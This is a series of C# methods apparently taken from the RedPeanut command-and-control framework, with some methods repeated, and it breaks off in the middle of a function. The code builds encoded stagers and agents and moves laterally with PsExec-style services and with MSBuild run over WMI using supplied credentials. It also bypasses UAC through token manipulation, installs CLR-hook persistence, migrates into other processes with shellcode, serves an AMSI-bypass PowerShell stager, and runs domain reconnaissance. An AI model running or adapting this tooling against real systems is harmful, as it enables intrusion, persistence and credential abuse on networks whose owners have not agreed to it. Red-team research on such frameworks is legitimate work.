private void Run()
{
List <string> args = new List <string>();
if (username == null || password == null || domain == null || targethost == null || lhost == null || profile == 0 || (lport == 0 && lpipename == null))
{
return;
}
else
{
//Create stager stream gzip
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profile))
{
string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
if (lpipename == null)
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", lhost, lport, Program.GetC2Manager().GetC2Server().GetProfile(profile), profile);
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", lhost, lpipename, Program.GetC2Manager().GetC2Server().GetProfile(profile));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
//Create TaskMsg gzip
if (agent != null)
{
//Create Service stream gzip
source = File.ReadAllText(Path.Combine(folderrpath, SERVICE_TEMPLATE))
.Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode(stagerstr, RandomString(10, new Random()) + ".exe", "RedPeanutRP", "Main", new string[] { "" }))))
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profile).Spawn);
string servicestr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()), 40, "exe")));
//Create SharpPsExec stream gzip
source = File.ReadAllText(Path.Combine(folderrpath, SHARPSEXEC_TEMPLATE))
.Replace("#DOMAIN#", domain)
.Replace("#USERNAME#", username)
.Replace("#PASSWORD#", password)
.Replace("#HOSTANME#", targethost)
.Replace("#ASSEMBLY#", servicestr)
.Replace("#EXENAME#", (!string.IsNullOrEmpty(exename)) ? exename : RandomAString(10, new Random()) + ".exe")
.Replace("#SERVICEDISPLAYNAME#", (!string.IsNullOrEmpty(servdispname)) ? servdispname : RandomAString(10, new Random()))
.Replace("#SERVICEDESCRIPTION#", (!string.IsNullOrEmpty(servdescr)) ? servdescr : RandomAString(10, new Random()))
.Replace("#SERVICENAME#", (!string.IsNullOrEmpty(servname)) ? servname : RandomAString(10, new Random()));
string sharppsexecstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
RunAssemblyBase64(sharppsexecstr, "SharpPsExec.Program", new string[] { "pippo" }, agent);
}
}
}
}
//Send agentid
//RC4 with serverkey
private string CreateMsgAgentId(IAgentInstance agent, string serverkey, int profileid, int targetframework)
{
string mesg = "";
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid))
{
AesManaged aes = agent.AesManager;
AgentIdMsg msg = new AgentIdMsg
{
agentid = agent.AgentId,
sessionkey = aes.Key,
sessioniv = aes.IV
};
HttpProfile profile = Program.GetC2Manager().GetC2Server().GetProfile(profileid);
ListenerConfig conf = new ListenerConfig("", ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), profile, profileid);
string source = System.IO.File.ReadAllText(Path.Combine(folderrpath, AGENT_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
msg.stage = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, agent.AgentId + ".dll", targetframework, compprofile: CompilationProfile.Agent)));
string agentidnmsg = JsonConvert.SerializeObject(msg, Formatting.Indented);
mesg = EncryptMessage(serverkey, agentidnmsg);
}
return(mesg);
}
private void Run()
{
if (string.IsNullOrEmpty(command) && !File.Exists(file))
{
return;
}
try
{
string commandstr = "";
if (File.Exists(file))
{
commandstr = File.ReadAllText(file);
}
else
{
commandstr = command;
}
// Parse .cs sorce and repalce variable
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
string source = File.ReadAllText(Path.Combine(folderrpath, POWERSHELLEXECUTER_TEMPLATE));
//source = ProfileReplacer.ReplaceFileUpLoad(source, filesrc, destinationpath, destinationfilename, username, password, domainname);
string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
RunAssemblyBase64(assembly, "PowerShellExecuter", new string[] { commandstr }, agent);
}
catch (Exception)
{
Console.WriteLine("[*] Error creating task");
}
}
private void Run()
{
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
List <string> args = new List <string>();
if (!File.Exists(assemblypath))
{
Console.WriteLine("[x] File not found");
return;
}
if (!string.IsNullOrEmpty(assemblyargs))
{
if (assemblyargs.Split(" ").Count() < 2)
{
args.Add(assemblyargs);
}
else
{
foreach (string str in assemblyargs.Split(" "))
{
args.Add(str);
}
}
}
string assemblyGzipB64 = Convert.ToBase64String(CompressGZipAssembly(File.ReadAllBytes(assemblypath)));
string source = File.ReadAllText(Path.Combine(folderrpath, EXECUTE_ASSEMBLY_TEMPLATE))
.Replace("#COMPRESSEDASSEMBLY#", assemblyGzipB64);
assemblyGzipB64 = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.Generic)));
RunAssemblyBase64(assemblyGzipB64, "AssmblyLoader", args.ToArray(), agent);
}
private void RunGetUid()
{
string source = File.ReadAllText(Path.Combine(folderrpath, STANDARD_TEMPLATE));
string commandstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.StandardCommand)));
RunStandardBase64(commandstr, "GetUid", "StandardCommandImpl.Program", new string[] { " " }, agent);
}
private void RunGetCp(string args)
{
string[] largs = args.Split(" ");
if (largs.Length < 2)
{
Console.WriteLine("[!] usage: cp filsesrc filedest");
return;
}
string source = File.ReadAllText(Path.Combine(folderrpath, STANDARD_TEMPLATE));
string commandstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.StandardCommand)));
RunStandardBase64(commandstr, "GetCp", "StandardCommandImpl.Program", largs, agent);
}
private void RunMigrate(int pid)
{
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
//Create RedPeanutAgent assembly
string source = File.ReadAllText(Path.Combine(folderrpath, AGENT_TEMPLATE));
ListenerConfig conf = new ListenerConfig("", ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), RedPeanutC2.server.GetProfile(((AgentInstanceHttp)agent).GetProfileid()), ((AgentInstanceHttp)agent).GetProfileid());
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), ((AgentInstanceHttp)agent).TargetFramework, conf);
string b64CompressedAgent = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, agent.AgentId + ".dll", ((AgentInstanceHttp)agent).TargetFramework, compprofile: CompilationProfile.Agent)));
string instanceid = RandomAString(10, new Random());
//Create AgentState
AgentState astate = new AgentState
{
Agentid = agent.AgentId,
sessionkey = agent.AesManager.Key,
sessioniv = agent.AesManager.IV,
cookie = ((AgentInstanceHttp)agent).Cookie,
RequestInstanceid = instanceid
};
if (agent.Pivoter != null)
{
astate.pipename = agent.Pivoter.AgentId;
}
string b64State = Convert.ToBase64String(Utility.CompressGZipAssembly(Encoding.Default.GetBytes(JsonConvert.SerializeObject(astate, Formatting.Indented))));
string[] argsm = Utility.Split(b64State, 100).ToArray();
//Read template
source = File.ReadAllText(Path.Combine(folderrpath, MIGRATE_TEMPLATE));
//Replace
source = Replacer.ReplaceMigrate(source, Convert.ToBase64String(CompressGZipAssembly(
Builder.GenerateShellcode(b64CompressedAgent, RandomAString(10, new Random()) + ".exe", "RedPeanutAgent.Worker", "LoadAndRun", argsm)
)), pid);
//Run
string migrate = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", ((AgentInstanceHttp)agent).TargetFramework, compprofile: CompilationProfile.Migrate)));
RunAssemblyBase64(
migrate,
"RedPeanutMigrate",
new string[] { " " },
agent, tasktype: "migrate", instanceid: instanceid);
}
private void Run()
{
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
try
{
string source = File.ReadAllText(Path.Combine(folderrpath, DOMAIN_RECON));
string commandstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.SSploitEnumerationDomain)));
RunStandardBase64(commandstr, "GetDomainComputers", "SharpSploitDomainReconImpl.Program", new string[] { " " }, agent);
}
catch (Exception)
{
Console.WriteLine("[*] Errore generating task");
}
}
private void Run()
{
if (string.IsNullOrEmpty(filepath) || !File.Exists(filepath))
{
return;
}
try
{
string filesrc = Convert.ToBase64String(CompressGZipAssembly(File.ReadAllBytes(filepath)));
string destinationpath = ".";
if (!string.IsNullOrEmpty(pathdest))
{
destinationpath = pathdest.Replace("\\", "\\\\");
}
string destinationfilename = "";
if (!string.IsNullOrEmpty(filename))
{
destinationfilename = filename;
}
string domainname = ".";
if (!string.IsNullOrEmpty(domain))
{
domainname = domain;
}
// Parse .cs sorce and repalce variable
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
string source = File.ReadAllText(Path.Combine(folderrpath, FILEUPLOAD_TEMPLATE));
source = Replacer.ReplaceFileUpLoad(source, filesrc, destinationpath, destinationfilename, username, password, domainname);
string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, "FileUpLoader.dll", 40)));
RunAssemblyBase64(assembly, "FileUpLoader", new string[] { "pippo" }, agent);
}
catch (Exception)
{
Console.WriteLine("[*] Error creating task");
}
}
private void Run()
{
if (string.IsNullOrEmpty(filesrc) || string.IsNullOrEmpty(filename))
{
return;
}
try
{
string srcpath = "";
if (!string.IsNullOrEmpty(filesrc))
{
srcpath = filesrc.Replace("\\", "\\\\");
}
string filedest = "";
if (!string.IsNullOrEmpty(filename))
{
filedest = filename;
}
string domainname = ".";
if (!string.IsNullOrEmpty(domain))
{
domainname = domain;
}
// Parse .cs sorce and repalce variable
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
string source = File.ReadAllText(Path.Combine(folderrpath, FILEDOWNLOAD_TEMPLATE));
source = Replacer.ReplaceFileDownLoad(source, srcpath, username, password, domainname);
string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, "FileDownLoader.dll", agent.TargetFramework)));
RunAssemblyBase64(assembly, "FileDownLoader", new string[] { " " }, agent, "download", filedest);
}
catch (Exception)
{
Console.WriteLine("[*] Error creating task");
}
}
private void Run()
{
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (string.IsNullOrEmpty(computername))
{
Console.WriteLine("Must provide computer name or ip address of the target");
return;
}
try
{
string source = File.ReadAllText(Path.Combine(folderrpath, DOMAIN_RECON));
string commandstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.SSploitEnumerationDomain)));
RunStandardBase64(commandstr, "GetNetLocalGroupMembers", "SharpSploitDomainReconImpl.Program", new string[] { computername.Trim(), group }, agent);
}
catch (Exception)
{
Console.WriteLine("[*] Errore generating task");
}
}
private void Run()
{
try
{
string host = ((AgentInstanceHttp)agent).GetAddress();
int port = ((AgentInstanceHttp)agent).GetPort();
int profileid = ((AgentInstanceHttp)agent).GetProfileid();
int targetframework = ((AgentInstanceHttp)agent).TargetFramework;
string pipename = "";
if (agent.Pivoter != null)
{
host = agent.Pivoter.SysInfo.Ip;
port = 0;
profileid = RedPeanutC2.server.GetDefaultProfile();
targetframework = agent.TargetFramework;
pipename = agent.AgentId;
}
else
{
host = ((AgentInstanceHttp)agent).GetAddress();
port = ((AgentInstanceHttp)agent).GetPort();
profileid = ((AgentInstanceHttp)agent).GetProfileid();
targetframework = agent.TargetFramework;
}
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid))
{
string source;
if (string.IsNullOrEmpty(pipename))
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", host, port, Program.GetC2Manager().GetC2Server().GetProfile(profileid), profileid);
source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", host, pipename, Program.GetC2Manager().GetC2Server().GetProfile(profileid));
source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework)));
ModuleConfig modconfig = new ModuleConfig
{
Assembly = stagerstr,
Method = "Execute",
Moduleclass = "RedPeanutRP",
Parameters = new string[] { "pippo" }
};
TaskMsg task = new TaskMsg
{
TaskType = "module",
ModuleTask = modconfig,
Agentid = agent.AgentId
};
if (agent.Pivoter != null)
{
task.AgentPivot = agent.Pivoter.AgentId;
}
source = File.ReadAllText(Path.Combine(folderrpath, SPAWN_TEMPLATE))
.Replace("#NUTCLR#", ReadResourceFile(PL_COMMAND_NUTCLRWNF))
.Replace("#TASK#", Convert.ToBase64String(CompressGZipAssembly(Encoding.Default.GetBytes(JsonConvert.SerializeObject(task)))))
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profileid).Spawn)
.Replace("#SHELLCODE#", null)
.Replace("#USERNAME#", username)
.Replace("#PASSWORD#", password)
.Replace("#DOMAIN#", domain)
.Replace("#PROCESS#", null);
string spawnprocess = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass)));
RunAssemblyBase64(
spawnprocess,
"RedPeanutSpawn",
new string[] { " " },
agent);
}
}
catch (Exception)
{
Console.WriteLine("[*] Errore generating task");
}
}
private void Run()
{
List <string> args = new List <string>();
if (username == null || password == null || domain == null || targethost == null || lhost == null || profile == 0 || (lport == 0 && lpipename == null))
{
return;
}
else
{
//Create stager stream gzip
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profile))
{
string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
if (lpipename == null)
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", lhost, lport, Program.GetC2Manager().GetC2Server().GetProfile(profile), profile);
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", lhost, lpipename, Program.GetC2Manager().GetC2Server().GetProfile(profile));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()), 40)));
//Create TaskMsg gzip
if (agent != null)
{
ModuleConfig modconfig = new ModuleConfig
{
Assembly = stagerstr,
Method = "Execute",
Moduleclass = "RedPeanutRP",
Parameters = new string[] { "pippo" }
};
TaskMsg task = new TaskMsg
{
TaskType = "module",
ModuleTask = modconfig,
Agentid = agent.AgentId
};
if (agent.Pivoter != null)
{
task.AgentPivot = agent.Pivoter.AgentId;
}
//Create Service stream gzip
source = File.ReadAllText(Path.Combine(folderrpath, SERVICE_TEMPLATE))
.Replace("#NUTCLR#", ReadResourceFile(PL_COMMAND_NUTCLR))
.Replace("#TASK#", Convert.ToBase64String(CompressGZipAssembly(Encoding.Default.GetBytes(JsonConvert.SerializeObject(task)))))
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profile).Spawn);
string servicestr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()), 40, "exe")));
//Create SharpPsExec stream gzip
source = File.ReadAllText(Path.Combine(folderrpath, SHARPSEXEC_TEMPLATE))
.Replace("#DOMAIN#", domain)
.Replace("#USERNAME#", username)
.Replace("#PASSWORD#", password)
.Replace("#HOSTANME#", targethost)
.Replace("#ASSEMBLY#", servicestr)
.Replace("#EXENAME#", (!string.IsNullOrEmpty(exename)) ? exename : RandomAString(10, new Random()) + ".exe")
.Replace("#SERVICEDISPLAYNAME#", (!string.IsNullOrEmpty(servdispname)) ? servdispname : RandomAString(10, new Random()))
.Replace("#SERVICEDESCRIPTION#", (!string.IsNullOrEmpty(servdescr)) ? servdescr : RandomAString(10, new Random()))
.Replace("#SERVICENAME#", (!string.IsNullOrEmpty(servname)) ? servname : RandomAString(10, new Random()));
string sharppsexecstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
RunAssemblyBase64(sharppsexecstr, "SharpPsExec.Program", new string[] { "pippo" }, agent);
}
}
}
}
private void Run()
{
try
{
string host = ((AgentInstanceHttp)agent).GetAddress();
int port = ((AgentInstanceHttp)agent).GetPort();
int profileid = ((AgentInstanceHttp)agent).GetProfileid();
int targetframework = ((AgentInstanceHttp)agent).TargetFramework;
string pipename = "";
if (!string.IsNullOrEmpty(process))
{
if (agent.Pivoter != null)
{
host = agent.Pivoter.SysInfo.Ip;
port = 0;
profileid = RedPeanutC2.server.GetDefaultProfile();
targetframework = agent.TargetFramework;
pipename = agent.AgentId;
}
else
{
host = ((AgentInstanceHttp)agent).GetAddress();
port = ((AgentInstanceHttp)agent).GetPort();
profileid = ((AgentInstanceHttp)agent).GetProfileid();
targetframework = agent.TargetFramework;
}
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid))
{
string source;
if (string.IsNullOrEmpty(pipename))
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", host, port, Program.GetC2Manager().GetC2Server().GetProfile(profileid), profileid);
source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", host, pipename, Program.GetC2Manager().GetC2Server().GetProfile(profileid));
source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework)));
string hookfilename = RandomAString(10, new Random()) + ".dll";
//string clrhook = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, hookfilename, targetframework, compprofile: CompilationProfile.PersistenceCLR)));
string keyfilename = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, KEYFILE_FOLDER, "key.snk");
if (clrversion != 35 && clrversion != 40)
{
clrversion = 40;
}
source = File.ReadAllText(Path.Combine(folderrpath, CLRHOOKINSTALL_TEMPLATE))
.Replace("#KEYFILE#", Convert.ToBase64String(CompressGZipAssembly(File.ReadAllBytes(keyfilename))))
.Replace("#STAGER#", stagerstr)
.Replace("#FILENAME#", hookfilename)
.Replace("#PROCESS#", process)
.Replace("#CLRVERSION#", clrversion.ToString());
string clrhookinstaller = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass)));
if (uninstall)
{
RunAssemblyBase64(clrhookinstaller, "PersCLRInstall", new string[] { "cleanenv" }, agent);
}
else
{
RunAssemblyBase64(clrhookinstaller, "PersCLRInstall", new string[] { "install" }, agent);
}
}
}
}
catch (Exception)
{
Console.WriteLine("[*] Errore generating task");
}
}
private void Run()
{
try
{
if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password) || string.IsNullOrEmpty(lhost) || (string.IsNullOrEmpty(lpipename) && lport < 1) || profile < 1)
{
return;
}
else
{
// Parse .cs sorce and repalce variable
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profile))
{
string domainname = ".";
if (!string.IsNullOrEmpty(domain))
{
domainname = domain;
}
string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
if (lpipename == null)
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", lhost, lport, Program.GetC2Manager().GetC2Server().GetProfile(profile), profile);
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", lhost, lpipename, Program.GetC2Manager().GetC2Server().GetProfile(profile));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
//Create TaskMsg gzip
if (agent != null)
{
source = File.ReadAllText(Path.Combine(folderrpath, SPAWNER_TEMPLATE))
.Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode(stagerstr, RandomString(10, new Random()) + ".exe", "RedPeanutRP", "Main", new string[] { "" }))))
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profile).Spawn)
.Replace("#USERNAME#", username)
.Replace("#PASSWORD#", password)
.Replace("#DOMAIN#", domain);
string spawner = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
Dictionary <string, string> msbuildargs = new Dictionary <string, string>();
msbuildargs.Add("#{taskname}", taskname);
MSBuildGenerator gen = new MSBuildGenerator(spawner, msbuildargs);
string pathdest = string.Format(@"\\{0}\C$\Windows\temp", targethost);
string filename = RandomAString(10, new Random()).ToLower() + ".xml";
string filesrc = Convert.ToBase64String(CompressGZipAssembly(Encoding.Default.GetBytes(gen.GetScriptText())));
string destinattionfull = pathdest.TrimEnd('\\') + @"\" + filename;
string destinationpath = ".";
if (!string.IsNullOrEmpty(pathdest))
{
destinationpath = pathdest.Replace("\\", "\\\\");
}
string destinationfilename = "";
if (!string.IsNullOrEmpty(filename))
{
destinationfilename = filename;
}
// Parse .cs sorce and repalce variable
source = File.ReadAllText(Path.Combine(folderrpath, FILEUPLOAD_TEMPLATE));
source = Replacer.ReplaceFileUpLoad(source, filesrc, destinationpath, destinationfilename, username, password, domainname);
string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, "FileUpLoader.dll", 40)));
//Task agent to copy file to target host
RunAssemblyBase64(assembly, "FileUpLoader", new string[] { "pippo" }, agent);
//Run msbuld via wmi
List <string> args = new List <string>();
args.Add("action=create");
args.Add("computername=" + targethost);
args.Add("username="******"\\" + username);
args.Add("password="******"command=C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe C:\\Windows\\temp\\" + destinationfilename);
string s = "";
foreach (string ss in args.ToArray())
{
s += ss;
}
Console.WriteLine("String command: " + s);
RunAssembly(PL_MODULE_SHARPWMI, "SharpWMI.Program", args.ToArray(), agent);
}
}
}
} catch (Exception e)
{
Console.WriteLine("[*] Error running task build {0}", e.Message);
}
}
private void Run()
{
try
{
string host = ((AgentInstanceHttp)agent).GetAddress();
int port = ((AgentInstanceHttp)agent).GetPort();
int profileid = ((AgentInstanceHttp)agent).GetProfileid();
int targetframework = ((AgentInstanceHttp)agent).TargetFramework;
string pipename = "";
if (agent.Pivoter != null)
{
host = agent.Pivoter.SysInfo.Ip;
port = 0;
profileid = RedPeanutC2.server.GetDefaultProfile();
targetframework = agent.TargetFramework;
pipename = agent.AgentId;
}
else
{
host = ((AgentInstanceHttp)agent).GetAddress();
port = ((AgentInstanceHttp)agent).GetPort();
profileid = ((AgentInstanceHttp)agent).GetProfileid();
targetframework = agent.TargetFramework;
}
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid))
{
string source;
if (string.IsNullOrEmpty(pipename))
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", host, port, Program.GetC2Manager().GetC2Server().GetProfile(profileid), profileid);
source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", host, pipename, Program.GetC2Manager().GetC2Server().GetProfile(profileid));
source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework)));
/*ModuleConfig modconfig = new ModuleConfig
* {
* Assembly = stagerstr,
* Method = "Execute",
* Moduleclass = "RedPeanutRP",
* Parameters = new string[] { "pippo" }
* };
*
* TaskMsg task = new TaskMsg
* {
* TaskType = "module",
* ModuleTask = modconfig,
* Agentid = agent.AgentId
* };
*
* if (agent.Pivoter != null)
* task.AgentPivot = agent.Pivoter.AgentId;
*
*/
source = File.ReadAllText(Path.Combine(folderrpath, UACTOKEN_TEMPLATE))
.Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly(
Builder.GenerateShellcode(stagerstr, RandomAString(10, new Random()) + ".exe", "RedPeanutRP", "Execute", new string[] { "pippo" })
))
)
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profileid).Spawn)
.Replace("#BINARY#", binary)
.Replace("#ARGUMENTS#", arguments)
.Replace("#PATH#", path);
string uacbypass = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass)));
RunAssemblyBase64(
uacbypass,
"TokenManipulation",
new string[] { " " },
agent);
}
}
catch (Exception)
{
Console.WriteLine("[*] Errore generating task");
}
}
private void Run()
{
try
{
List <string> args = new List <string>();
if (!string.IsNullOrEmpty(processname) && !string.IsNullOrEmpty(eventname))
{
//Create webresource
//Register web resource
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
string filename = RandomAString(10, new Random()).ToLower();
ListenerConfig conf = new ListenerConfig("",
((AgentInstanceHttp)agent).GetAddress(),
((AgentInstanceHttp)agent).GetPort(),
Program.GetC2Manager().GetC2Server().GetProfile(((AgentInstanceHttp)agent).GetProfileid()),
((AgentInstanceHttp)agent).GetProfileid());
string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
string assemblyBase64 = Builder.GenerateDllBase64(source, filename + ".dll");
byte[] assemblybytte = Convert.FromBase64String(assemblyBase64);
string agentCompBase64 = Convert.ToBase64String(CompressAssembly(assemblybytte));
Dictionary <string, string> argagent = new Dictionary <string, string>();
argagent.Add("#{bytelen}", assemblybytte.Length.ToString());
string uricontent = Program.GetC2Manager().GetC2Server().GetProfile(((AgentInstanceHttp)agent).GetProfileid()).ContentUri;
uricontent = uricontent.TrimStart('/');
if (!uricontent.EndsWith("/"))
{
uricontent += "/";
}
Dictionary <string, string> arg = new Dictionary <string, string>
{
{ "#{lhost}", ((AgentInstanceHttp)agent).GetAddress() },
{ "#{lport}", ((AgentInstanceHttp)agent).GetPort().ToString() },
{ "#{uri}", uricontent + "s2_" + filename + ".ps1" }
};
PowershellAmsiGenerator gen_s1 = new PowershellAmsiGenerator(agentCompBase64, arg);
PowershellAgentGenerator gen_s2 = new PowershellAgentGenerator(agentCompBase64, argagent);
//Add resource to webserver storage
C2Manager c2manager = Program.GetC2Manager();
c2manager.GetC2Server().RegisterWebResource(filename + ".ps1", new WebResourceInstance(gen_s1, filename + ".ps1"));
c2manager.GetC2Server().RegisterWebResource("s2_" + filename + ".ps1", new WebResourceInstance(gen_s2, "s2_" + filename + ".ps1"));
Console.WriteLine("[*] Resource added to webserver resources");
string proto = "";
if (ssl)
{
proto = "https";
}
else
{
proto = "http";
}
